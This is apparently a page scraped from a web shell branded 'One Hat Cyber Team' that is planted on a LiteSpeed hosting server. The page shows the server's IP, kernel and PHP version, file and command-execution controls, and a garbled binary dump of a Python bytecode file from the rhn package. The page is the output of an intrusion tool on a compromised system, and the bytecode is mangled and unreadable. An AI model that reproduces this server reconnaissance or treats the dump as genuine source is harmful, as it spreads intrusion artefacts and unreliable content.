⚝
One Hat Cyber Team
⚝
Your IP:
160.79.111.247
Server IP:
162.254.39.145
Server:
Linux premium289.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
Server Software:
LiteSpeed
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
lib
/
python3.6
/
site-packages
/
rhn
/
__pycache__
/
View File Name :
SmartIO.cpython-36.pyc
3 U��Zt � @ sX d Z ddlZyddlmZ W n ek r< ddlmZ Y nX G dd� d�Zdd� ZdS ) z* This module implements the SmartIO class � N)�StringIO)�BytesIOc @ s: e Zd ZdZddd�Zdd� Zdd � Zd d� Zdd � ZdS )�SmartIOa� The SmartIO class allows one to put a cap on the memory consumption. StringIO objects are very fast, because they are stored in memory, but if they are too big the memory footprint becomes noticeable. The write method of a SmartIO determines if the data that is to be added to the (initially) StrintIO object does not exceed a certain threshold; if it does, it switches the storage to a temporary disk file � @ r c C s$ || _ t� | _|rd| _nd| _d S )N� r )� _max_mem_sizer �_io�_fixed)�self�max_mem_sizeZ force_mem� r �/usr/lib/python3.6/SmartIO.py�__init__ s zSmartIO.__init__c C s || _ d S )N)r )r r r r r �set_max_mem_size'